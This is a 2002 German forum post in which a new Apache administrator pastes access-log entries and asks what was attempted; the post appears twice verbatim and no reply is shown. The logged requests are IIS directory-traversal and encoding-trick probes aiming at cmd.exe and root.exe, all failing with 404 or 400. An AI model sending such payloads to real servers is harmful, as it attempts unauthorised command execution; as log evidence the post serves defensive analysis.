isaac
13.07.02, 22:04
Hallo Leute
hab mal meine apache serverangekurbelt. Und schon nach 10 min muss ich seltsame einträge in den logfiles vernehmen
hier mal einer aus access_log
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:43 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 312
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:44 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 310
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:46 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:47 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:48 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:49 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 351
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:51 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 351
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:52 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 367
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:53 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.129.170.229 - - [13/Jul/2002:18:24:54 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:54 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:55 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.129.170.229 - - [13/Jul/2002:18:24:55 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317
80.129.170.229 - - [13/Jul/2002:18:24:56 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:57 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:58 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
kann mir jemand sagen was dort vesucht wurde
danke isaac
hab mal meine apache serverangekurbelt. Und schon nach 10 min muss ich seltsame einträge in den logfiles vernehmen
hier mal einer aus access_log
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:43 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 312
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:44 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 310
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:46 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:47 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:48 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:49 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 351
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:51 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 351
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:52 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 367
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:53 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.129.170.229 - - [13/Jul/2002:18:24:54 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:54 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:55 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.129.170.229 - - [13/Jul/2002:18:24:55 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317
80.129.170.229 - - [13/Jul/2002:18:24:56 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:57 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
p5081aae5.dip.t-dialin.net - - [13/Jul/2002:18:24:58 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
kann mir jemand sagen was dort vesucht wurde
danke isaac